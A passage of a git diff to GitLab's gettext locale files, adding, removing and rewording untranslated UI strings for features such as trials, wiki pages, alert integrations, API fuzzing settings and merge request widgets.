msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/mn_MN/gitlab.po b/locale/mn_MN/gitlab.po
index 4020e05022f..80a3af48974 100644
--- a/locale/mn_MN/gitlab.po
+++ b/locale/mn_MN/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: mn\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:57\n"
+"PO-Revision-Date: 2021-04-02 00:18\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
